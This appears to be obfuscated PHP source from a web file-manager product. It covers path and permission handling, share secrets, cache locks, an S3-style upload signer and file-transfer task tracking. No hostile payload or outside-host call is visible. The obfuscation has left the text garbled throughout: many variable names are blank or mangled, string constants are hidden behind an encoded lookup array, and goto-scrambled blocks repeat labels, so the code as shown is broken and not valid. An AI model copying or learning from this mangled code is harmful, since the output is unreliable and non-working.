($ͷ[$މЫ[422]]) { $ͷ[$މЫ[203]] = AuthModel::authCheckEdit($ͷ[$މЫ[422]][$މЫ[423]]); $ͷ[$މЫ[202]] = AuthModel::authCheckView($ͷ[$މЫ[422]][$މЫ[423]]); } $this->groupPathDisplay($ͷ); } unset($ͷ); } public function _listAppendAuthSecret(&$) { $ =& $_SERVER[ﻻ]; if (Model($[444])->get($[506]) != $[88]) { return; } static $ȩ = false; if (!$ȩ) { $ = Model($[507]); $͋ = Model($[508]); $ȩ = $͋->listData(); $ȩ = array_to_keyvalue($ȩ, $[411]); $ = json_decode(Model($[444])->get($[509]), !0); $ = array_to_keyvalue($, $[399]); foreach ($ȩ as $ȶ => $) { $ = $[$[$[510]]]; if (!$) { $͋->remove($[$[399]]); unset($ȩ[$ȶ]); continue; } $ = $->listData($[$[422]]); if (!$) { $͋->remove($[$[399]]); unset($ȩ[$ȶ]); continue; } $[$[422]] = $; $[$[511]] = $; $[$[512]] = Model($[513])->getInfoSimpleOuter($[$[463]]); $ȩ[$ȶ] = $; } } $ = USER_ID; $ҝȻ = array(); $ܰ = $this->_listAppendPath($ҝȻ, !0); foreach ($ as $ȶ => &$) { if (!is_array($[$[422]])) { continue; } if ($[$[420]] != $[514]) { continue; } if (isset($ȩ[$[$[411]]])) { $Ǩ = $ȩ[$[$[411]]]; if (!is_array($[$[475]])) { $[$[475]] = array(); } $[$[475]][$[515]] = $Ǩ[$[510]]; $[$[422]][$[516]] = $Ǩ; $[$[422]][$[517]] = $[$[518]]; $[$[422]][$[519]] = $[88]; if ($Ǩ[$[463]] != $) { $[$[422]][$[423]] = $[$[422]][$[423]] & $Ǩ[$[422]][$[422]]; } continue; } $ݕ̵ = $this->parentLevelArray($[$[520]]); $ = array_reverse($ݕ̵); foreach ($ as $І => $٬) { if (!isset($ȩ[$٬])) { continue; } $Ǩ = $ȩ[$٬]; $[$[422]][$[516]] = $Ǩ; if ($Ǩ[$[463]] != $) { $[$[422]][$[423]] = $[$[422]][$[423]] & $Ǩ[$[422]][$[422]]; } $դ = $[12]; $˷ = count($ݕ̵) - $І; for ($ўĆ = 0; $ўĆ < $˷; $ўĆ++) { if (!isset($ܰ[$ݕ̵[$ўĆ]])) { $դ = $[12]; break; } $դ = $դ . rtrim($ܰ[$ݕ̵[$ўĆ]], $[8]) . $[8]; } $[$[422]][$[517]] = rtrim($դ, $[8]) . $[8]; break; } } unset($); } public function groupPathDisplay(&$) { $ =& $_SERVER[ﻻ]; if ($[$[420]] != self::TYPE_GROUP) { return; } $엋 = Model($[521])->getInfo($[$[505]]); $ = $this->parentLevelArray($엋[$[520]]); $¯ = $[12]; foreach ($ as $) { $ę = Model($[521])->getInfo($); $¯ .= $ę[$[87]][$[411]] . $[50]; } $[$[522]] = $엋[$[441]]; $[$[523]] = $엋[$[520]]; $[$[524]] = $엋[$[525]]; $[$[526]] = $¯ . $엋[$[87]][$[411]]; } protected function _listAppendPath(&$Ȳ, $ = false) { $ =& $_SERVER[ﻻ]; static $谱 = array(); $ݘ = array(); $׆ = array(); if ($) { return $谱; } foreach ($Ȳ as &$ە) { $Μ = $ە[$[411]]; if ($ە[$[419]] == $[88] && $ە[$[441]] != 0) { $谱[$Μ] = $ە[$[32]]; } if ($ە[$[419]] == $[88] && $ە[$[441]] == 0 && !isset($谱[$Μ])) { $谱[$Μ] = $this->_listAppendPathRoot($ە, array()); } if (isset($׆[$ە[$[520]]])) { continue; } $׆[$ە[$[520]]] = !0; $ʇ = $this->parentLevelArray($ە[$[520]]); foreach ($ʇ as $ => $) { if (isset($谱[$])) { continue; } if ($ == 0) { $谱[$] = $this->_listAppendPathRoot($ە, $ʇ); } if ($ != 0) { $ݘ[] = $; } } } unset($ە); $ݘ = array_unique($ݘ); if (count($ݘ) > 0) { $ = array($[426] => array($[427], $ݘ)); if (count($ݘ) == 1) { $Ƈ = $this->sourceInfo($ݘ[0]); $ = is_array($Ƈ) ? array($Ƈ) : !1; } else { $ = $this->field($[527])->where($)->select(); } if (!$) { $ = array(); } foreach ($ as $) { $谱[$[$[411]]] = $[$[32]]; } } $ӚӤ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $Ԇ = array(); foreach ($Ȳ as &$ە) { $ۃ = $ە[$[520]]; $͋ = $[12]; if (isset($Ԇ[$ۃ])) { $͋ = $Ԇ[$ۃ]; } else { $ʇ = $this->parentLevelArray($ە[$[520]]); foreach ($ʇ as $ => $) { if (isset($谱[$])) { $͋ .= $谱[$] . $[8]; } } $Ԇ[$ۃ] = $͋; } $͋ .= $ە[$[32]]; if ($ە[$[419]] == $[88]) { $͋ .= $[8]; } $ە[$[518]] = str_replace($[528], $[8], $͋); if ($ە[$[441]] == $[198]) { $ە[$[32]] = trim($谱[$ە[$[411]]], $[8]); $ە[$[518]] = $ە[$[32]] . $[8]; } if (intval($ە[$[420]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($ە, $ʇ, $ӚӤ); } } unset($ە); return $Ȳ; } private function _listAppendPathRecycle(&$, $, $) { $׀ =& $_SERVER[ﻻ]; if (!in_array($, $) && $[$׀[411]] != $) { return; } $ = explode($׀[8], trim($[$׀[518]], $׀[8])); $ = implode($׀[8], array_slice($, 2)); $[$׀[518]] = $׀[8] . LNG($׀[529]) . $׀[8] . ltrim($, $׀[8]); $[$׀[520]] = $׀[530] . implode($׀[50], array_slice($, 1)) . $׀[50]; if ($[$׀[411]] == $) { $[$׀[520]] = $׀[530]; $[$׀[441]] = $׀[198]; $[$׀[32]] = LNG($׀[529]); } $[$׀[531]] = $׀[532]; } protected function _listAppendPathRoot(&$, $֝) { $ =& $_SERVER[ﻻ]; static $ = false; $ = $[12]; if ($[$[420]] == self::TYPE_USER) { if ($[$[505]] == USER_ID) { $ = LNG($[533]); if ($ === !1) { $ = Model($[534])->getInfoFull(USER_ID); $ = _get($, $[535], $[12]); } if ($֝ && $֝[0] == $ || !$֝ && $[$[411]] == $) { $ = LNG($[536]); $[$[537]] = $[538]; } if (!$֝) { $[$[32]] = $; } } else { $Ò = Model($[513])->getInfoSimple($[$[505]]); $ = LNG($[539]) . $[162] . $Ò[$[32]] . $[164]; $[$[540]] = array($[32] => $Ò[$[32]], $[541] => $Ò[$[541]], $[542] => $Ò[$[542]]); } } else { if ($[$[420]] == self::TYPE_GROUP) { $Ò = Model($[521])->getInfoSimple($[$[505]]); $ = $Ò[$[32]]; } else { if ($[$[420]] == self::TYPE_SYSTEM) { $ = $[543]; } } } $ = $ ? $[8] . $ . $[8] : $[8]; return $; } protected function _listAppendUser(&$܈) { $풍 =& $_SERVER[ﻻ]; $ҫ = array_to_keyvalue($܈, $풍[12], $풍[463]); $Č߂ = array_to_keyvalue($܈, $풍[12], $풍[465]); $݆ = array_merge($ҫ, $Č߂); $̴ֽ = Model($풍[534])->userListInfo($݆); foreach ($܈ as &$Ɋ) { $ް = $Ɋ[$풍[463]]; $Ɋ[$풍[463]] = $̴ֽ[$ް] ? $̴ֽ[$ް] : !1; $ް = $Ɋ[$풍[465]]; $Ɋ[$풍[465]] = $̴ֽ[$ް] ? $̴ֽ[$ް] : !1; if (isset($Ɋ[$풍[475]]) && $Ɋ[$풍[475]][$풍[544]]) { $ = $GLOBALS[$풍[6]][$풍[89]][$풍[545]]; if ($Ɋ[$풍[475]][$풍[546]] <= time() - $) { $this->metaSet($Ɋ[$풍[411]], $풍[544], null); $this->metaSet($Ɋ[$풍[411]], $풍[546], null); unset($Ɋ[$풍[475]][$풍[544]]); continue; } $ñ羽 = $Ɋ[$풍[475]][$풍[544]]; $Ɋ[$풍[475]][$풍[547]] = Model($풍[534])->getInfoSimpleOuter($ñ羽); } } unset($Ɋ); } public function parentLevelArray($Ї) { $ =& $_SERVER[ﻻ]; $Ї = explode($[50], trim($Ї, $[50])); return array_remove_value($Ї, $[198]); } public function listAll($⮰̀) { $ʃ =& $_SERVER[ﻻ]; $뿖 = $this->sourceInfo($⮰̀); $ = array($ʃ[548] => array($ʃ[549], $뿖[$ʃ[520]] . $⮰̀ . $ʃ[550]), $ʃ[551] => 0); $ = $ʃ[552]; $ = "\x4c\105\106\124\40\x4a\x4f\x49\116\x20{$this->tablePrefix}\x69\157\x5f\146\x69\154\145\x20\146\x69\x6c\x65\40\x6f\x6e\x20\x73\x6f\165\x72\143\x65\x2e\x66\151\154\145\111\x44\x20\75\40\146\x69\x6c\145\56\146\x69\x6c\145\x49\104"; $Ӡ = $this->alias($ʃ[455])->field($)->where($)->join($)->select(); $this->_listAppendAuth($Ӡ); $this->_listAppendUser($Ӡ); $this->_listAppendPath($Ӡ); $Ӡ = array_to_keyvalue($Ӡ, $ʃ[411]); $簩 = "\x2f{$뿖[$ʃ[32]]}\x2f"; $簩 = $簩 == $ʃ[528] ? $ʃ[8] : $簩; $ = array(); foreach ($Ӡ as $ => $琀) { $ = $this->parentLevelArray($琀[$ʃ[520]]); array_shift($); $ = $簩; for ($ַ = 0; $ַ < count($); $ַ++) { $ .= $Ӡ[$[$ַ]][$ʃ[32]] . $ʃ[8]; } $ .= $琀[$ʃ[32]]; if ($琀[$ʃ[419]]) { $ .= $ʃ[8]; } $ = array($ʃ[430] => str_replace($ʃ[528], $ʃ[8], str_replace($ʃ[528], $ʃ[8], str_replace($ʃ[528], $ʃ[8], $))), $ʃ[553] => intval($琀[$ʃ[419]]), $ʃ[554] => intval($琀[$ʃ[76]]), $ʃ[85] => intval($琀[$ʃ[85]]), $ʃ[87] => $this->pathInfoFilter($琀)); if (!$[$ʃ[419]]) { $[$ʃ[477]] = $琀[$ʃ[477]]; } $[] = $; } $ = array_sort_by($, $ʃ[84]); return $; } } goto a; aﵵ̛: class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ =& $_SERVER[ﻻ]; $ = $GLOBALS[$[6]][$[349]]; self::$cachePath = $[$[200]][$[84]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($ʒ, $Ү = 0) { $뇗 =& $_SERVER[ﻻ]; $߃ = microtime(!0); $ = $߃ + $Ү + 0.0001; $؍ = rtrim(self::$cachePath, $뇗[8]) . $뇗[876] . md5($ʒ) . $뇗[873]; if (file_exists($؍) && filemtime($؍) && filemtime($؍) < time() - 10) { @unlink($؍); } do { if (file_exists($؍)) { cacheLockWait(); continue; } $ڏ˭ = fopen($؍, $뇗[877]); if (!$ڏ˭) { return !1; } $ = flock($ڏ˭, LOCK_EX | LOCK_NB); self::$caches[$ʒ] = array($뇗[878] => $ڏ˭, $뇗[200] => $؍); fwrite($ڏ˭, $); clearstatcache(); if ($ڏ˭ && $) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($ʒ); return !1; } public function lockGet($ͫ) { $졜 =& $_SERVER[ﻻ]; $ށ = rtrim(self::$cachePath, $졜[8]) . $졜[876] . md5($ͫ) . $졜[873]; return file_exists($ށ); } public function unlock($ͼ봤) { $ =& $_SERVER[ﻻ]; $Ț = self::$caches[$ͼ봤]; if (!$Ț) { return; } @flock($Ț[$[878]], LOCK_UN); @fclose($Ț[$[878]]); @unlink($Ț[$[200]]); unset(self::$caches[$ͼ봤]); } } class CacheLockRedis { public function lock($, $ = 10) { $ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ϒ = $->get($); if (!$ϒ) { $ֆ = $->setLock($, $, $); if ($ֆ) { return !0; } } else { if ($ϒ < microtime(!0)) { $->set($, $, $ * 2); if ($->get($) === $ϒ) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($е) { return Cache::init()->remove($е); } } class CacheLockMemcached { public function lock($, $ԍ = 0) { $٩狫 = Cache::init(); $ܩ = microtime(!0) + $ԍ; while (microtime(!0) < $ܩ) { $ = $٩狫->get($); if (!$ || $ < microtime(!0)) { $ = $٩狫->handle->add($, $ܩ, $ԍ); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($ؖ) { return Cache::init()->get($ؖ); } public function unlock($Ͽ) { return Cache::init()->remove($Ͽ); } } goto bلь; E: class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } protected function infoParse($, $Ү߾ = false) { $ =& $_SERVER[ﻻ]; return Action($[1184])->sharePathInfo($this->pathParse[$[84]], !0, $Ү߾); } public function listPath($ˋ, $硩 = false) { $ν =& $_SERVER[ﻻ]; $ܼ = IO::listPath($ˋ, $硩); if (!$ܼ) { return $ܼ; } if (is_array($ܼ[$ν[1358]])) { $ = Action($ν[1367])->parsePathChildren($ܼ[$ν[1358]], array($ν[430] => $ˋ)); $ܼ[$ν[1358]] = Action($ν[1184])->shareItemInfo($); } foreach ($ܼ as $غ => $ꊿ) { if (!in_array($غ, array($ν[83], $ν[82]))) { continue; } foreach ($ꊿ as $Π => $) { $ = Action($ν[1367])->parsePathChildren($, array($ν[430] => $ˋ)); $ܼ[$غ][$Π] = Action($ν[1184])->shareItemInfo($); } } return $ܼ; } } class PathDriverEDS extends PathDriverMinIO { public function __construct($) { parent::__construct($); } } class PathDriverEOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[ﻻ][216]); } public function uploadFormData($ɋ֗, $ = 3600) { $ª =& $_SERVER[ﻻ]; $ك = $ª[199]; $ = $ª[1368]; $ӭ = $ª[62]; $ = gmdate($ª[1369]); $ = gmdate($ª[763]); $ = $ª[1370]; $Տ = $ . $ª[12]; $ù = $ª[1332]; $ד = array($this->accessKey, $, $this->region, $ӭ, $); $ʅ = implode($ª[8], $ד); $ݬ = array($ª[1334] => gmdate($ª[1333], strtotime($ª[1371])), $ª[1335] => array(array($ª[1337] => $this->bucket), array($ª[1336] => $ك), array($ª[1338], $ª[1339], $ª[12]), array($ª[1338], $ª[1372], $ª[12]), array($ª[1338], $ª[1373], $ª[12]), array($ª[1340] => $ù), array($ª[1374] => $ʅ), array($ª[1375] => $), array($ª[1376] => $), array($ª[1377] => $Տ))); $ = base64_encode(json_encode($ݬ)); $ = hash_hmac($ª[1378], $, $ª[1379] . $this->secret, !0); $謁 = hash_hmac($ª[1378], $this->region, $, !0); $ = hash_hmac($ª[1378], $ӭ, $謁, !0); $҉ = hash_hmac($ª[1378], $, $, !0); $ϣ = hash_hmac($ª[1378], $, $҉); $؊ = array($ª[215] => $ª[12], $ª[1380] => $ª[12], $ª[1336] => $ك, $ª[1340] => $ù, $ª[1344] => $, $ª[1381] => $ʅ, $ª[1382] => $, $ª[1383] => $, $ª[1384] => $Տ, $ª[1385] => $ϣ, $ª[182] => $this->getHost()); return $؊; } } goto C; b: define($_SERVER[ﻻ][0], $_SERVER[ﻻ][1]); $_SERVER[] = explode($_SERVER[ﻻ][2], gzinflate(substr($_SERVER[ﻻ][3], 10, -8))); function binCheckEq($, $д) { return $ == $д; } goto F˔; E: class Task { const STATYS_STOP = "\163\164\x6f\x70"; const STATYS_RUNNING = "\162\x75\x6e\156\x69\x6e\x67"; const STATYS_KILL = "\153\x69\154\x6c"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($ǣ, $ = '', $ߨԒ = 0, $ = '') { $߁ =& $_SERVER[ﻻ]; if (self::get($ǣ)) { return; } $this->task = array($߁[399] => $ǣ, $߁[1678] => USER_ID, $߁[1576] => $, $߁[462] => $߁[12], $߁[33] => $, $߁[1074] => $߁[12], $߁[799] => $ߨԒ, $߁[1679] => 0, $߁[1680] => 0, $߁[1681] => 0, $߁[1682] => timeFloat(), $߁[1683] => 0, $߁[1684] => 0, $߁[1685] => 0, $߁[1686] => 0, $߁[762] => $߁[1637]); $GLOBALS[$߁[1687]] = 1; Hook::bind($߁[1642], array($this, $߁[1688])); Hook::bind($߁[1689], array($this, $߁[1690])); $this->startAfter(); Hook::trigger($߁[1691], $this->task); $this->task[$߁[1684]] = timeFloat(); } public function end($ = '') { $ =& $_SERVER[ﻻ]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$[1684]]) { self::valueSet($this->task[$[399]], !1); } $this->isEnd = !0; if ($) { $this->task[$[462]] = $; } self::log($[1692] . $this->task[$[399]] . $[1693] . sprintf($[863], timeFloat() - $this->task[$[1682]]) . $[1694]); Hook::unbind($[1642], array($this, $[1688])); Hook::unbind($[1689], array($this, $[1690])); $this->endAfter(); $㷷 = $this->task; $this->task = !1; Hook::trigger($[1695], $㷷); } public function update($ = 0, $Ԇ = false) { $Қµ =& $_SERVER[ﻻ]; $ۏ =& $this->task; if (!$ۏ) { return; } $ۏ[$Қµ[1679]] += $; $ۏ[$Қµ[1683]] = timeFloat(); if ($ۏ[$Қµ[799]]) { if ($ۏ[$Қµ[799]] < $ۏ[$Қµ[1679]]) { $ۏ[$Қµ[799]] = $ۏ[$Қµ[1679]]; } $ = timeFloat() - $ۏ[$Қµ[1682]] - $ۏ[$Қµ[1685]]; if ($ <= 0) { $ = 0.001; } $ۏ[$Қµ[1680]] = $ۏ[$Қµ[1679]] / $ۏ[$Қµ[799]]; $ۏ[$Қµ[1681]] = $ۏ[$Қµ[1679]] / $; if ($ۏ[$Қµ[1680]] > 0) { $ۏ[$Қµ[1686]] = $ * (1 - $ۏ[$Қµ[1680]]) / $ۏ[$Қµ[1680]]; } $ۏ[$Қµ[1686]] = $ۏ[$Қµ[1686]] <= 0 ? 0 : $ۏ[$Қµ[1686]]; } $this->updateAfter(); $٪̵ = 0.2; if (timeFloat() - $ۏ[$Қµ[1684]] < $٪̵ && !$Ԇ) { return; } $ = self::get($ۏ[$Қµ[399]]); $ = $[$Қµ[762]]; if ($ == self::STATYS_KILL) { $ = array($Қµ[1696] => LNG($Қµ[1697]), $Қµ[1222] => !1); Cache::set($Қµ[1698] . $this->task[$Қµ[399]], $, 30); $this->onKill(); $this->end(); die; } else { if ($ == self::STATYS_STOP) { $ = 2; $[$Қµ[1685]] += $; self::valueSet($ۏ[$Қµ[399]], $); sleep($); $this->update(); return; } } $ۏ[$Қµ[762]] = $ ? $ : $ۏ[$Қµ[762]]; $ۏ[$Қµ[1685]] = $[$Қµ[1685]] ? $[$Қµ[1685]] : 0; $ۏ[$Қµ[1684]] = timeFloat(); Hook::trigger($Қµ[1699], $ۏ); self::valueSet($ۏ[$Қµ[399]], $ۏ); } public function onKillSet($漌, $ʲ = array()) { $this->onKillCall = array($漌, $ʲ); } public function onKill() { $Ȍ =& $_SERVER[ﻻ]; self::log($Ȍ[1692] . $this->task[$Ȍ[399]] . $Ȍ[1700]); Hook::trigger($Ȍ[1701], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($Ք) { $ =& $_SERVER[ﻻ]; Cache::set($[1698] . $this->task[$[399]], $Ք, 60); return $Ք; } public static function get($䲡) { $ =& $_SERVER[ﻻ]; $ = self::valueGet($䲡); if (is_array($) && $[$[1702]]) { $Ƭ = ActionApply($[$[1702]], array($)); $ = is_array($Ƭ) ? $Ƭ : $; } return $; } public static function listData() { $㠔ɿ = self::valueGet(); return array_sort_by($㠔ɿ, $_SERVER[ﻻ][1682], !0); } public static function kill($˯) { return self::changeStatus($˯, self::STATYS_KILL); } public static function stop($ꖙ) { return self::changeStatus($ꖙ, self::STATYS_STOP); } public static function restart($ײ) { return self::changeStatus($ײ, self::STATYS_RUNNING); } public static function killAll() { $ =& $_SERVER[ﻻ]; $ɬ = self::listData(); foreach ($ɬ as $) { self::kill($[$[399]]); } sleep(2); foreach ($ɬ as $) { self::valueSet($[$[399]], !1); } } private static function changeStatus($퐅, $۹) { $ =& $_SERVER[ﻻ]; $Ʃ = self::valueGet($퐅); if (!$Ʃ) { return !1; } $Ʃ[$[762]] = $۹; self::valueSet($퐅, $Ʃ); self::log($[1703] . $Ʃ[$[399]] . $[1704] . $۹); return !0; } public static function valueGet($ = false) { $е =& $_SERVER[ﻻ]; if ($) { $ѦЙ = Model($е[456])->where(array($е[94] => $, $е[33] => $е[1081]))->find(); return $ѦЙ ? json_decode($ѦЙ[$е[374]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($¨ = false) { $ =& $_SERVER[ﻻ]; $ = array($[33] => $[1081]); if ($¨) { $[$[1678]] = $¨; } $ = Model($[456])->where($)->select(); $ = $ ? $ : array(); foreach ($ as $Ç => $Ш) { $[$Ç] = json_decode($Ш[$[374]], !0); } return $; } public static function valueSet($, $¼) { $ =& $_SERVER[ﻻ]; if (!$¼) { return Model($[456])->where(array($[94] => $, $[33] => $[1081]))->delete(); } $ˁ = json_encode($¼); if (!$ˁ) { ob_start(); var_dump($¼); $ = ob_get_clean(); self::log($[1705] . json_encode_force($)); } if (!$ || !$¼[$[399]]) { return !1; } $읡 = array($[33] => $[1081], $[1678] => USER_ID, $[94] => $, $[374] => $ˁ); $萙 = $[1706]; CacheLock::lock($萙); Model($[456])->add($읡, array(), !0); CacheLock::unlock($萙); } public static function log($) { if (!GLOBAL_DEBUG) { return; } write_log($, $_SERVER[ﻻ][1707]); } } class TaskFileTransfer extends Task { protected function startAfter() { $㯔 =& $_SERVER[ﻻ]; $ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($㯔[1708], array($this, $㯔[1709])); Hook::bind($㯔[1233], array($this, $㯔[1710])); Hook::bind($㯔[1711], array($this, $㯔[1712])); Hook::bind($㯔[605], array($this, $㯔[1713])); Hook::bind($㯔[606], array($this, $㯔[1714])); Hook::bind($㯔[611], array($this, $㯔[1715])); Hook::bind($㯔[612], array($this, $㯔[1716])); Hook::bind($㯔[608], array($this, $㯔[1717])); Hook::bind($㯔[609], array($this, $㯔[1718])); Hook::bind($㯔[574], array($this, $㯔[1719])); Hook::bind($㯔[571], array($this, $㯔[1719])); Hook::bind($㯔[576], array($this, $㯔[1719])); Hook::bind($㯔[578], array($this, $㯔[1719])); Hook::bind($㯔[580], array($this, $㯔[1719])); Hook::bind($㯔[1720], array($this, $㯔[1721])); Hook::bind($㯔[596], array($this, $㯔[1722])); $this->sourceModelCopyFlag = !1; Hook::bind($㯔[1723], array($this, $㯔[1724])); Hook::bind($㯔[1725], array($this, $㯔[1726])); Hook::bind($㯔[1727], array($this, $㯔[1728])); $[$㯔[1729]] = LNG($㯔[1730]); $[$㯔[1731]] = 0; $[$㯔[1732]] = 0; $[$㯔[1074]] = $㯔[12]; $[$㯔[1733]] = $㯔[12]; $[$㯔[1734]] = 0; $[$㯔[1735]] = 0; $[$㯔[1736]] = 0; if (!$[$㯔[1576]]) { $[$㯔[1576]] = LNG($㯔[1737]); } } protected function endAfter() { $؈ =& $_SERVER[ﻻ]; Hook::unbind($؈[1708], array($this, $؈[1709])); Hook::unbind($؈[1233], array($this, $؈[1710])); Hook::unbind($؈[1711], array($this, $؈[1712])); Hook::unbind($؈[605], array($this, $؈[1713])); Hook::unbind($؈[606], array($this, $؈[1714])); Hook::unbind($؈[611], array($this, $؈[1715])); Hook::unbind($؈[612], array($this, $؈[1716])); Hook::unbind($؈[608], array($this, $؈[1717])); Hook::unbind($؈[609], array($this, $؈[1718])); Hook::unbind($؈[574], array($this, $؈[1719])); Hook::unbind($؈[571], array($this, $؈[1719])); Hook::unbind($؈[576], array($this, $؈[1719])); Hook::unbind($؈[578], array($this, $؈[1719])); Hook::unbind($؈[580], array($this, $؈[1719])); Hook::unbind($؈[1720], array($this, $؈[1721])); Hook::unbind($؈[596], array($this, $؈[1722])); Hook::unbind($؈[1723], array($this, $؈[1724])); Hook::unbind($؈[1725], array($this, $؈[1726])); Hook::unbind($؈[1727], array($this, $؈[1728])); } public function copyMoveStart($, $霟, $ć, $) { $ =& $_SERVER[ﻻ]; self::log($[1738] . $霟 . $[70] . $); $ = rtrim(TEMP_FILES, $[8]); if (substr($霟, 0, strlen($)) == $) { return; } if (substr($, 0, strlen($)) == $) { return; } $ =& $this->task; $[$[1739]] = KodIO::transferType($, $ć); $this->update(); } public function updateAfter() { $Ҹ =& $_SERVER[ﻻ]; $ =& $this->task; if (!$[$Ҹ[776]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$Ҹ[1739]] == $Ҹ[1322]) { return; } self::updateTask($); } private static function updateTask(&$ަ) { $ޖ =& $_SERVER[ﻻ]; if ($ަ[$ޖ[1739]] == $ޖ[1204] || $ަ[$ޖ[1739]] == $ޖ[107]) { if ($ަ[$ޖ[1733]]) { $ަ[$ޖ[1736]] = $ަ[$ޖ[1735]] + $ަ[$ޖ[1732]]; } } else { if ($ަ[$ޖ[1739]] == $ޖ[1323]) { if ($ަ[$ޖ[1733]] == $ޖ[1204]) { $ަ[$ޖ[1736]] = $ަ[$ޖ[1735]] + $ަ[$ޖ[1732]] * 0.5; } else { if ($ަ[$ޖ[1733]] == $ޖ[107]) { $ަ[$ޖ[1736]] = $ަ[$ޖ[1735]] + $ަ[$ޖ[1731]] * 0.5 + $ަ[$ޖ[1732]] * 0.5; } } } } $ަ[$ޖ[1680]] = $ަ[$ޖ[1736]] / $ަ[$ޖ[776]]; if ($ަ[$ޖ[1680]] > 0) { $ = timeFloat() - $ަ[$ޖ[1682]] - $ަ[$ޖ[1685]]; $ަ[$ޖ[1686]] = $ * (1 - $ަ[$ޖ[1680]]) / $ަ[$ޖ[1680]]; } } public function addPath($Ę) { $ڂ =& $_SERVER[ﻻ]; if (!$Ę) { return; } $裻 =& $this->task; $ˈDŽ = IO::infoWithChildren($Ę); $ = $裻[$ڂ[1740]] ? $裻[$ڂ[1740]][$ڂ[1741]] : 0; $裻[$ڂ[1740]] = array($ڂ[1741] => $ + 1, $ڂ[429] => $ˈDŽ[$ڂ[32]], $ڂ[84] => $ˈDŽ[$ڂ[84]], $ڂ[518] => $ˈDŽ[$ڂ[518]] ? $ˈDŽ[$ڂ[518]] : $ˈDŽ[$ڂ[84]]); if ($ˈDŽ[$ڂ[33]] == $ڂ[200]) { $裻[$ڂ[799]] += 1; } else { $裻[$ڂ[799]] += $ˈDŽ[$ڂ[79]][$ڂ[77]]; if ($ˈDŽ[$ڂ[411]]) { $裻[$ڂ[799]] += $ˈDŽ[$ڂ[79]][$ڂ[78]] + 1; } } $裻[$ڂ[776]] += $ˈDŽ[$ڂ[76]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($) { } public function sourceAddHashEnd($Ȏ) { } public function sourceAddFileStart($) { $Ӟ =& $_SERVER[ﻻ]; $۔ =& $this->task; $۔[$Ӟ[1731]] = $[$Ӟ[76]]; $۔[$Ӟ[1729]] = $[$Ӟ[32]]; $۔[$Ӟ[1074]] = $[$Ӟ[32]]; $۔[$Ӟ[1742]] = $[$Ӟ[84]]; $this->update(); } public function sourceAddFileEnd($ݳǀ) { $ =& $_SERVER[ﻻ]; $݂ =& $this->task; $݂[$[1736]] += $ݳǀ[$[76]]; $݂[$[1742]] = $ݳǀ[$[84]]; $this->update(1); } public function copyFileStart($̰, $ّӔ, $鐫, $︴, $ߴ, $ϑ) { $܊ =& $_SERVER[ﻻ]; $ō = $ߴ; if ($ō == $GLOBALS[$܊[1743]]) { $ō = $GLOBALS[$܊[1744]]; } $GLOBALS[$܊[1744]] = $ߴ; $GLOBALS[$܊[1743]] = $ϑ; $㏞Ѯ =& $this->task; $㏞Ѯ[$܊[1729]] = $ō; $㏞Ѯ[$܊[1731]] = (int) $̰->size($ّӔ); $㏞Ѯ[$܊[1732]] = 0; $㏞Ѯ[$܊[1074]] = $܊[12]; $㏞Ѯ[$܊[1733]] = $܊[12]; $㏞Ѯ[$܊[1734]] = 0; $Ȯ = $㏞Ѯ[$܊[1731]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($㏞Ѯ[$܊[399]] . $܊[1745]); if ($Ȯ && file_exists(get_path_father($︴))) { Cache::set($㏞Ѯ[$܊[399]] . $܊[1745], $︴); $㏞Ѯ[$܊[1702]] = array($܊[1746], $܊[1747]); } $this->update(0, $Ȯ); } public static function updateCopyLocalFileSize($) { $ =& $_SERVER[ﻻ]; $ = Cache::get($[$[399]] . $[1745]); if (!$ || !file_exists($)) { return $; } $[$[1732]] = @filesize($); $[$[1736]] += $[$[1732]]; self::updateTask($); return $; } public function copyFileEnd($읇, $, $ǰ, $վֲ, $, $֤) { $Ҹ =& $_SERVER[ﻻ]; $ϕ =& $this->task; $ϕ[$Ҹ[1732]] = $ϕ[$Ҹ[1731]]; $ϕ[$Ҹ[1733]] = $Ҹ[12]; unset($ϕ[$Ҹ[1702]]); if ($ == $ϕ[$Ҹ[1729]]) { $ϕ[$Ҹ[1735]] += $ϕ[$Ҹ[1731]]; $ϕ[$Ҹ[1736]] = $ϕ[$Ҹ[1735]]; $ = 1; if (isset($ϕ[$Ҹ[1742]]) && $ϕ[$Ҹ[1742]] == $) { $ = 0; } $this->update($); } else { $this->update(); $ϕ[$Ҹ[1732]] = 0; } Cache::remove($ϕ[$Ҹ[399]] . $Ҹ[1745]); self::log($Ҹ[1748] . $ . $Ҹ[70] . $վֲ . $Ҹ[231] . $ . $Ҹ[1749] . $ϕ[$Ҹ[1729]]); } public function updateFileEnd($䄖ں, $ٺ) { $Ժ =& $_SERVER[ﻻ]; $˚ =& $this->task; $˚[$Ժ[1729]] = $䄖ں; $˚[$Ժ[1731]] = $ٺ; $˚[$Ժ[1735]] += $ٺ; $˚[$Ժ[1736]] = $˚[$Ժ[1735]]; $this->update(1); self::log($Ժ[1750] . $䄖ں); } public function sourceModelCopy($) { $ =& $_SERVER[ﻻ]; $Ǧ = $[0]; $ = $[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $̩ = 0; switch ($Ǧ) { case $[572]: $̩ = 1; break; case $[575]: 